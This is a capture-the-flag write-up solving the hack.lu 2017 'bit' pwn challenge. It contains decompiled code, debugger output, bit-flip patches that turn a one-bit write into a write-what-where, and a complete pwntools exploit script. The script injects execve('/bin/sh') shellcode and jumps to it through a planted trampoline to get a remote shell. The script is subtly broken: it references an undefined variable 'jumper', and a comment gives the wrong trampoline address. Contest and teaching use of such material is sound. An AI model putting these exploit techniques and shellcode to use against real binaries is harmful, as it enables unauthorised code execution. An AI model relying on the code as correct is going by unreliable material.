## 2017/hack.lu/bit (pwn / 150pts) ##
*"No matter what conspiracy theory you believe in - i believe that one wrong bit is enough to rule them all."*
*"nc flatearth.fluxfingers.net 1744"*
I found this challenge really fun, even if it took me some time to resolve it (still beginning at pwning), plus the fact that I was at work ... :D
We are given a 64bit dynamically linked binary :
```-> file bitbit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped```
On which we check for enabled security features :
```-> checksec bit[*] '/home/gov/hack/ctf/hack.lu/pwn_1/bit'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
And then start doing a static analysis on it :
```Csigned __int64 __fastcall main(__int64 a1, char **a2, char **a3){  signed __int64 result; // rax@2  _BYTE *v4; // rsi@5  _BYTE *v5; // rax@5  __int64 canary_check; // rsi@6  __int64 canary; // [sp+1038h] [bp-8h]@1
  canary = *MK_FP(__FS__, 40LL);  if ( __isoc99_scanf("%lx:%u", &mem_dst, &value) == 2 )  {    if ( value <= 7 )    {      mprotect((mem_dst & 0xFFFFFFFFFFFF1000LL), 4096uLL, 7);
      *mem_dst ^= 1 << value;
      mprotect((mem_dst & 0xFFFFFFFFFFFF1000LL), 4096uLL, 5);      result = 0LL;    }    else    {      result = 0xFFFFFFFFLL;    }  }  else  {    result = 0xFFFFFFFFLL;  }  canary_check = *MK_FP(__FS__, 40LL) ^ canary;  return result;}```
The code generated by IDA is pretty straightforward to understand.The program wait for the user to enter two values separated by a colon => "%lx:%u"
The first value must be a long hexadecimal value.The second must be an unsigned integer and equal or below 7 to reach the branch where mprotect is called, else it quit.
Once corrects values are given, here's what happen :
```-> echo '400000:1' | strace -e mprotect,read ./bit ........read(0, "400000:1\n", 4096)             = 9mprotect(0x400000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0mprotect(0x400000, 4096, PROT_READ|PROT_EXEC) = 0+++ exited with 0 +++```
We can see the mprotect call which set the 0x400000 to PROT_READ|PROT_WRITE|PROT_EXEC aka 7 aka RWX.We also see that the flag is set to RX just after.
But between theses two mprotect call, we have :
```*mem_dst ^= 1 << value;```
So if we entered : 400000:5It would write (content at address 0x400000) ^ (1 << 5) at 0x400000
So, what can we do with a restricted write "ANYWHERE" ? Lot of things.
## Looping the CODE ##
The first thing we need to do is to loop the execution flow (by modyfing an opcode or a jump/call address), it will permit us to write more bytes, so we can get a shell.
Using this input :
400713:0
Which transform :
```gef> x/3i 0x400710   0x400710:	mov    rdi,rax   0x400713:	call   0x400520 <mprotect@plt>   0x400718:	mov    eax,0x0```to :```gef> x/3i 0x400710   0x400710:	mov    rdi,rax   0x400713:	jmp    0x400520 <mprotect@plt>   0x400718:	mov    eax,0x0```
Which I still don't know why (fuzzed it), still haven't debugged.
I also found another one way working.
## Break the 2nd mprotect ##
Now that we can send multiples writes, let's make our use of the first mprotect permanent. We can do that by "modyfying" the address of the jump to mprotect. 
Using this input :
400714:7
Which transform :
```    0x400713:	jmp    0x400520 <mprotect@plt>```to :```    0x400713:	jmp    0x4005a0```
Here we jump near a ret by just changing one byte of the lower address.So it basically "disable" this mprotect :
```gef> x/10i 0x4005a0   0x4005a0:	pop    rbp   0x4005a1:	ret            # end of mprotect```
## Bypass the allowed char range (0->7) ##
At this point, we are able to :    - make any mapped memory page +rwx (easy NX bypass)   - write a value anywhere that will be xored with the value we replace and shifted to the left by 1.   This is not enough (or is it ??) to exploit the binary, we need a write-what-where primitive to send a shellcode, because the range is too small, and because we can ;)  By modyfying the cmp instruction to allow any (almost) unsigned integer using this input :  40069d:7  Which modify :  ```    0x40069b:	cmp    eax,0x7 ```  to  ```    0x40069b:	cmp    eax,0xffffff87 ``` And allows us to write ANY bytes (from 0x0 to 0xff)    ## Disable the left bit shifting ##  That would be done with : 4006ef:1  Which change :
``` gef> x/5i 0x4006e7   0x4006e7:	mov    edi,0x1   0x4006ec:	shl    edi,cl   0x4006ee:	mov    ecx,edi   0x4006f0:	xor    edx,ecx   0x4006f2:	mov    BYTE PTR [rax],dl```To :```gef> x/5i 0x4006e7   0x4006e7:	mov    edi,0x1   0x4006ec:	shl    edi,cl   0x4006ee:	mov    ebx,edi   0x4006f0:	xor    edx,ecx   0x4006f2:	mov    BYTE PTR [rax],dl```
If you look carefully at the code, will make the shl useless as the result is then stored to the ebx register which is not used.
## 3xpl0it that fun binary ! ##
I easily guessed where I could send the shellcode.
0x600960 was a good candidate because it wasn't used and just filled with null bytes (so I won't have to bother xoring with the existing bytes)
The harder was to find a way to trigger the jump into the shellcode.I can only write one byte at time, so if I change an address in a jump instruction , once the program will "loop", it will send us in the middle of nowhere :/
So I thought about it a little and found a way.
Let's write our "trampoline" into a branch of the executable that we can trigger (like the char limitation) o/
We just have to write our trampoline at 0x40068bAnd use a number higher than 0xffffff87 to trigger it.
```if ( value <= 0xffffff87 ) {   mprotect stuff} else {   0x40068b : "push 0x600960 ;        ...     ret"}```
We will have to xor each byte we write with the actual value of the location we write to.Using pwn.ELF make suchs things easy.
But enough talk, here is the code  :
```pythonfrom pwn import *from sys import *from time import sleep
if '-d' in argv:    context.log_level=1
if '-r' in argv:    s = remote('flatearth.fluxfingers.net',1744)else:    s = process(['/usr/bin/env','-','/home/gov/hack/ctf/hack.lu/pwn_1/bit'])
e=ELF('/home/gov/hack/ctf/hack.lu/pwn_1/bit')
sleep(.2)s.send('400713:0' + '\n')    # Loop the proglog.info('Binary looped!')
sleep(.2)s.send('400714:7' + '\n')    # break mprotect resetlog.info('broke mprotect reset!')
sleep(.2)s.send('40069d:7' + '\n')    # break char rangelog.info('char range')
sleep(.2)s.send('4006ef:1' + '\n')    # bypass shl \o/log.info('disable shift')
sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
pos=0for i in range(0x600960,0x600960+len(sc),1):    byte=ord(sc[pos])    s.send('{}:{}\n'.format( hex(i)[2:],byte)) log.info('Writting {} at {}'.format(hex(byte),hex(i)))    pos+=1
# push 0x600960 ; rettrampoline="\x68\x60\x09\x60\x00\xc3"
# this zone is not empty so I have to xor with existing byte (thanks to pwn.ELF)pos=0for i in range(0x40068b,0x40068b+len(jumper),1):    byte=ord(trampoline[pos]) ^ ord(e.read(i,1))    s.send('{}:{}\n'.format( hex(i)[2:],byte)) log.info('Writting {} at {}'.format(hex(byte),hex(i)))    pos+=1
# trigger branching on 0x4006a0 where the trampoline is writtens.send('600000:999999999999999\n\n')s.interactive()```
Hope you liked it !
-govlog-